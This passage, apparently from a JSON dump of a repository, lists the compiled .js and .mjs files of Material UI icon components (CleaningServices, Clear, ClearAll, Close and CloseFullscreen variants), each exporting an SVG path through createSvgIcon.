    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11h-1V3c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v8H8c-2.76 0-5 2.24-5 5v7h18v-7c0-2.76-2.24-5-5-5m-5-8h2v8h-2zm8 18h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}), 'CleaningServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11h-1V4c0-1.66-1.34-3-3-3S9 2.34 9 4v7H8c-2.76 0-5 2.24-5 5v5c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5c0-2.76-2.24-5-5-5m3 10h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}), 'CleaningServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11h-1V4c0-1.66-1.34-3-3-3S9 2.34 9 4v7H8c-2.76 0-5 2.24-5 5v5c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5c0-2.76-2.24-5-5-5m3 10h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}), 'CleaningServicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V1H9v10H3v12h18V11zm4 10h-2v-4h-2v4h-2v-4h-2v4H9v-4H7v4H5v-8h14z\"\n}), 'CleaningServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V1H9v10H3v12h18V11zm4 10h-2v-4h-2v4h-2v-4h-2v4H9v-4H7v4H5v-8h14z\"\n}), 'CleaningServicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3h2v8h-2zm5 10H8c-1.65 0-3 1.35-3 3v5h2v-3c0-.55.45-1 1-1s1 .45 1 1v3h2v-3c0-.55.45-1 1-1s1 .45 1 1v3h2v-3c0-.55.45-1 1-1s1 .45 1 1v3h2v-5c0-1.65-1.35-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11h-1V3c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v8H8c-2.76 0-5 2.24-5 5v7h18v-7c0-2.76-2.24-5-5-5m-5-8h2v8h-2zm8 18h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}, \"1\")], 'CleaningServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CleaningServicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3h2v8h-2zm5 10H8c-1.65 0-3 1.35-3 3v5h2v-3c0-.55.45-1 1-1s1 .45 1 1v3h2v-3c0-.55.45-1 1-1s1 .45 1 1v3h2v-3c0-.55.45-1 1-1s1 .45 1 1v3h2v-5c0-1.65-1.35-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11h-1V3c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v8H8c-2.76 0-5 2.24-5 5v7h18v-7c0-2.76-2.24-5-5-5m-5-8h2v8h-2zm8 18h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3h-2v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H9v-3c0-.55-.45-1-1-1s-1 .45-1 1v3H5v-5c0-1.65 1.35-3 3-3h8c1.65 0 3 1.35 3 3z\"\n}, \"1\")], 'CleaningServicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Clear.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'Clear');"
  },
  {
    "path": "packages/mui-icons-material/lib/Clear.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'Clear');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13h14v-2H5zm-2 4h14v-2H3zM7 7v2h14V7z\"\n}), 'ClearAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13h14v-2H5zm-2 4h14v-2H3zM7 7v2h14V7z\"\n}), 'ClearAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13h14v-2H5zm-2 4h14v-2H3zM7 7v2h14V7z\"\n}), 'ClearAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13h14v-2H5zm-2 4h14v-2H3zM7 7v2h14V7z\"\n}), 'ClearAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1m-2 4h12c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m3-9c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1\"\n}), 'ClearAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1m-2 4h12c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m3-9c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1\"\n}), 'ClearAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13h14v-2H5zm-2 4h14v-2H3zM7 7v2h14V7z\"\n}), 'ClearAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13h14v-2H5zm-2 4h14v-2H3zM7 7v2h14V7z\"\n}), 'ClearAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h14v2H5zm-2 4h14v2H3zm4-8h14v2H7z\"\n}), 'ClearAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearAllTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h14v2H5zm-2 4h14v2H3zm4-8h14v2H7z\"\n}), 'ClearAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'ClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'ClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.3 5.71a.996.996 0 0 0-1.41 0L12 10.59 7.11 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 5.7 16.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l4.89 4.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l4.89-4.89c.38-.38.38-1.02 0-1.4\"\n}), 'ClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.3 5.71a.996.996 0 0 0-1.41 0L12 10.59 7.11 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 5.7 16.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l4.89 4.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l4.89-4.89c.38-.38.38-1.02 0-1.4\"\n}), 'ClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'ClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'ClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'ClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClearTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'ClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Close.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'Close');"
  },
  {
    "path": "packages/mui-icons-material/lib/Close.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'Close');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.29 4.12 16.7 8.71l1.59 1.59c.63.63.18 1.71-.71 1.71H13c-.55 0-1-.45-1-1v-4.6c0-.89 1.08-1.34 1.71-.71l1.59 1.59 4.59-4.59c.39-.39 1.02-.39 1.41 0 .38.4.38 1.03-.01 1.42M4.12 21.29l4.59-4.59 1.59 1.59c.63.63 1.71.18 1.71-.71V13c0-.55-.45-1-1-1h-4.6c-.89 0-1.34 1.08-.71 1.71l1.59 1.59-4.59 4.59c-.39.39-.39 1.02 0 1.41.4.38 1.03.38 1.42-.01\"\n}), 'CloseFullscreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.29 4.12 16.7 8.71l1.59 1.59c.63.63.18 1.71-.71 1.71H13c-.55 0-1-.45-1-1v-4.6c0-.89 1.08-1.34 1.71-.71l1.59 1.59 4.59-4.59c.39-.39 1.02-.39 1.41 0 .38.4.38 1.03-.01 1.42M4.12 21.29l4.59-4.59 1.59 1.59c.63.63 1.71.18 1.71-.71V13c0-.55-.45-1-1-1h-4.6c-.89 0-1.34 1.08-.71 1.71l1.59 1.59-4.59 4.59c-.39.39-.39 1.02 0 1.41.4.38 1.03.38 1.42-.01\"\n}), 'CloseFullscreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseFullscreenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3.41 16.71 8.7 20 12h-8V4l3.29 3.29L20.59 2zM3.41 22l5.29-5.29L12 20v-8H4l3.29 3.29L2 20.59z\"\n}), 'CloseFullscreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'CloseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'CloseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.3 5.71a.996.996 0 0 0-1.41 0L12 10.59 7.11 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 5.7 16.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l4.89 4.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l4.89-4.89c.38-.38.38-1.02 0-1.4\"\n}), 'CloseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseRounded.mjs",
